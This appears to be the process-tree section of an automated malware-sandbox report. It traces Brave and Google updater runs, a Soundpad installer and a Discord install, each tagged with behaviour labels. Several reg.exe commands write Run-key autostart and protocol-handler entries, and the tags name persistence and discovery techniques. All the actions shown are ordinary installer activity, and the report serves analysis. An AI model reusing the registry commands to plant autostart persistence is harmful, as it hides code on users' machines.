- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /svc1⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\brave_installer-x64.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\brave_installer-x64.exe" --do-not-launch-chrome /installerdata="C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\gui5FD8.tmp"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe" --install-archive="C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\CHROME.PACKED.7Z" --do-not-launch-chrome /installerdata="C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\gui5FD8.tmp"3⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://cr.brave.com --annotation=plat=Win64 --annotation=prod=Brave --annotation=ver=152.1.94.117 --attachment=C:\Windows\SystemTemp\chromium_installer.log "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater.log" "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater_history.jsonl" --initial-client-data=0x2c0,0x2c4,0x2c8,0x23c,0x2cc,0x7ff6539e0688,0x7ff6539e0698,0x7ff6539e06a84⤵
- Drops file in Windows directory
- Executes dropped EXE
-
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe" --system-level --verbose-logging --installerdata="C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\gui5FD8.tmp" --create-shortcuts=0 --install-level=14⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{44EA2A14-87FC-49C8-BDD7-F6C08A76F5BF}\CR_B9BEE.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://cr.brave.com --annotation=plat=Win64 --annotation=prod=Brave --annotation=ver=152.1.94.117 --attachment=C:\Windows\SystemTemp\chromium_installer.log "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater.log" "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater_history.jsonl" --initial-client-data=0x2b4,0x2b8,0x2bc,0x290,0x2c0,0x7ff6539e0688,0x7ff6539e0698,0x7ff6539e06a85⤵
- Executes dropped EXE
-
-
-
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNjEuMTUxIiBzaGVsbF92ZXJzaW9uPSIxLjMuMzYxLjE1MSIgaXNtYWNoaW5lPSIxIiBzZXNzaW9uaWQ9InsyRkY1RkE1Qy00MUJBLTQ4NDYtOEUwRS1CNTE0MDdBMEI4MER9IiBpbnN0YWxsc291cmNlPSJvdGhlcmluc3RhbGxjbWQiIHRlc3Rzb3VyY2U9ImF1dG8iIHJlcXVlc3RpZD0ie0IxOUNBNUQxLTFGQTgtNDYxMS04OTQzLUU5QkREQTE3MkIyMX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMTYiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMjYxMDAuMTc0MiIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0ie0FGRTZBNDYyLUM1NzQtNEI4QS1BRjQzLTRDQzYwREY0NTYzQn0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjE1Mi4xLjk0LjExNyIgYXA9InJlbGVhc2UiIGxhbmc9IiIgYnJhbmQ9IiIgY2xpZW50PSIiIGluc3RhbGxhZ2U9Ii0xIiBpbnN0YWxsZGF0ZT0iLTEiPjxldmVudCBldmVudHR5cGU9IjkiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI1IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgZG93bmxvYWRlcj0iYml0cyIgdXJsPSJodHRwczovL3VwZGF0ZXMtY2RuLmJyYXZlc29mdHdhcmUuY29tL2J1aWxkL0JyYXZlLVJlbGVhc2UvcmVsZWFzZS93aW4vMTUyLjEuOTQuMTE3L3g2NC9icmF2ZV9pbnN0YWxsZXIteDY0LmV4ZSIgZG93bmxvYWRlZD0iMTYwMjI1MzYwIiB0b3RhbD0iMTYwMjI1MzYwIiBkb3dubG9hZF90aW1lX21zPSIxNjE3MCIvPjxldmVudCBldmVudHR5cGU9IjEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI2IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMTk2NzA3IiBzb3VyY2VfdXJsX2luZGV4PSIwIiB1cGRhdGVfY2hlY2tfdGltZV9tcz0iMzQ3IiBkb3dubG9hZF90aW1lX21zPSIxODIyOCIgZG93bmxvYWRlZD0iMTYwMjI1MzYwIiB0b3RhbD0iMTYwMjI1MzYwIiBpbnN0YWxsX3RpbWVfbXM9IjQ2Nzk2Ii8-PC9hcHA-PC9yZXF1ZXN0Pg2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o -ppl C:\Windows\SystemTemp\temFB9E.tmp2⤵
- Checks SCSI registry key(s)
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --system --windows-service --service=update-internal1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=152.0.7933.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x294,0x2b0,0x2b4,0x28c,0x2b8,0xd11e40,0xd11e4c,0xd11e582⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --system --windows-service --service=update1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=152.0.7933.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0xd11e40,0xd11e4c,0xd11e582⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --unzip-worker --system --mojo-platform-channel-handle=19562⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=152.0.7933.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b0,0x2b4,0x2b8,0x2ac,0x2bc,0xd11e40,0xd11e4c,0xd11e583⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\152.0.7977.65_chrome_installer_uncompressed.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\152.0.7977.65_chrome_installer_uncompressed.exe" --verbose-logging --do-not-launch-chrome --channel=stable2⤵
- Drops file in Windows directory
- Executes dropped EXE
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exe" --uncompressed-archive="C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\CHROME.7Z" --verbose-logging --do-not-launch-chrome --channel=stable3⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Modifies registry class
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exeC:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=152.0.7977.65 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x24c,0x25c,0x200,0x254,0x288,0x7ff7baecfe08,0x7ff7baecfe18,0x7ff7baecfe284⤵
- Executes dropped EXE
-
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exe"C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exe" --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=14⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exeC:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping5168_957320115\CR_B3DD8.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=152.0.7977.65 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x29c,0x2a0,0x2a4,0x98,0x2a8,0x7ff7baecfe08,0x7ff7baecfe18,0x7ff7baecfe285⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops desktop.ini file(s)
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe"C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level3⤵
- Drops file in Program Files directory
- Executes dropped EXE
-
C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe"C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://cr.brave.com --annotation=plat=Win64 --annotation=prod=Brave --annotation=ver=152.1.94.117 --attachment=C:\Windows\SystemTemp\chromium_installer.log "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater.log" "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x288,0x2b8,0x7ff68b860688,0x7ff68b860698,0x7ff68b8606a84⤵
- Drops file in Windows directory
- Executes dropped EXE
-
-
C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe"C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe" --system-level --verbose-logging --installerdata="C:\Program Files\BraveSoftware\Brave-Browser\Application\initial_preferences" --create-shortcuts=1 --install-level=04⤵
- Drops file in Program Files directory
- Executes dropped EXE
-
C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe"C:\Program Files\BraveSoftware\Brave-Browser\Application\152.1.94.117\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://cr.brave.com --annotation=plat=Win64 --annotation=prod=Brave --annotation=ver=152.1.94.117 --attachment=C:\Windows\SystemTemp\chromium_installer.log "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater.log" "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x260,0x2b8,0x7ff68b860688,0x7ff68b860698,0x7ff68b8606a85⤵
- Drops file in Windows directory
- Executes dropped EXE
-
-
-
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\All In One\All In One\Discord\FreeMic\SoundPad\Soundpad_x64-4.0.30.msi"3⤵
- Enumerates connected drives
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Discord & Vencord Setup\DiscordSetup.exe"C:\Users\Admin\Desktop\Discord & Vencord Setup\DiscordSetup.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe"C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe" --squirrel-install 1.0.92335⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exeC:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:4 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://f.a.k/e --annotation=_productName=discord --annotation=_version=1.0.9233 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=37.6.0 --initial-client-data=0x4c0,0x4c4,0x4c8,0x4b8,0x4cc,0x7ff6534dc074,0x7ff6534dc080,0x7ff6534dc0906⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Discord\Update.exeC:\Users\Admin\AppData\Local\Discord\Update.exe --createShortcut Discord.exe --setupIcon C:\Users\Admin\AppData\Local\Discord\app.ico6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2428,i,1046684114097085871,14403348428728112872,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=AllowAggressiveThrottlingWithWebSocket,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,MediaSessionService,ScreenAIOCREnabled,SpareRendererForSitePerProcess,UseEcoQoSForBackgroundProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:26⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --secure-schemes=sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=sentry-ipc --field-trial-handle=2428,i,1046684114097085871,14403348428728112872,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=AllowAggressiveThrottlingWithWebSocket,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,MediaSessionService,ScreenAIOCREnabled,SpareRendererForSitePerProcess,UseEcoQoSForBackgroundProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2456 /prefetch:116⤵
- Executes dropped EXE
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v Discord /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "\"C:\Users\Admin\AppData\Local\Discord\Update.exe\" --processStart Discord.exe" /f6⤵
- Adds Run key to start application
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f6⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe\",-1" /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe\" --url -- \"%1\"" /f6⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe" --squirrel-firstrun5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exeC:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:4 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://f.a.k/e --annotation=_productName=discord --annotation=_version=1.0.9233 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=37.6.0 --initial-client-data=0x504,0x508,0x50c,0x500,0x510,0x7ff6534dc074,0x7ff6534dc080,0x7ff6534dc0906⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1840,i,16613832153336139037,15249759657721853368,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,MediaSessionService,ScreenAIOCREnabled,SpareRendererForSitePerProcess,UseEcoQoSForBackgroundProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1836 /prefetch:26⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --field-trial-handle=1840,i,16613832153336139037,15249759657721853368,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,MediaSessionService,ScreenAIOCREnabled,SpareRendererForSitePerProcess,UseEcoQoSForBackgroundProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:116⤵
- Executes dropped EXE
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f6⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\resources\_app.asar" --no-sandbox --no-zygote --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-h264-mf --enable-h264-mf-zero-copy --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1788034167882484 --launch-time-ticks=1407632189 --field-trial-handle=1840,i,16613832153336139037,15249759657721853368,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,MediaSessionService,ScreenAIOCREnabled,SpareRendererForSitePerProcess,UseEcoQoSForBackgroundProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:16⤵
- Executes dropped EXE
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe\",-1" /f6⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9233\Discord.exe\" --url -- \"%1\"" /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Discord /v DisplayVersion /d 1.0.9255 /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v Discord6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v Discord /f6⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exeC:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe6⤵
- Executes dropped EXE
- Checks processor information in registry
-
